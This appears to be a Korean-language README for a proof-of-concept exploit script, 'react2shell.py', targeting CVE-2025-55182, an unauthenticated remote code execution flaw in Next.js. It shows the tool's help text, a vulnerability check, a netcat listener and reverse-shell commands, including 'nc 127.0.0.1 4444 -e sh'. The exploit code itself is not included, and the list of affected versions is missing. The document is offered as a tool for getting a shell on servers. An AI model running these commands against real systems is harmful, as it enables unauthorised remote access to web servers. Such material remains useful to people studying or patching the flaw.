
PoC for React2Shell (CVE-2025-55182)
CVE-2025-55182 비인증 원격 코드 실행 취약점(일명 React2Shell)에 대한 개념 증명 익스플로잇입니다. 이 스크립트는 다음 Next.js 버전 이하에서 셸을 획득하는 데 사용됩니다:
16.0.6 버전에서만 테스트되었습니다.
$ ./react2shell.py --help
d8888b. d88888b .d8b. .o88b. d888888b .d888b. .d8888. db db d88888b db db
88 `8D 88' d8' `8b d8P Y8 `~~88~~' VP `8D 88' YP 88 88 88' 88 88
88oobY' 88ooooo 88ooo88 8P 88 odD' `8bo. 88ooo88 88ooooo 88 88
88`8b 88~~~~~ 88~~~88 8b 88 .88' `Y8b. 88~~~88 88~~~~~ 88 88
88 `88. 88. 88 88 Y8b d8 88 j88. db 8D 88 88 88. 88booo. 88booo.
88 YD Y88888P YP YP `Y88P' YP 888888D `8888Y' YP YP Y88888P Y88888P Y88888P
usage: react2shell [-h] -u URL -i IP -p PORT
options:
-h, --help show this help message and exit
-u, --url URL Target URL
-i, --ip IP Attacker IP
-p, --port PORT Attacker port
대상이 취약한지 확인합니다:
./react2shell.py -u http://127.0.0.1:3000
리스너를 시작합니다:
$ nc -lvp 4444
셸을 시작합니다:
$ ./react2shell.py -u http://127.0.0.1:3000 -i 127.0.0.1 -p 4444
$ ./react2shell.py -u http://127.0.0.1:3000 -c 'nc 127.0.0.1 4444 -e sh' # you can also provide a command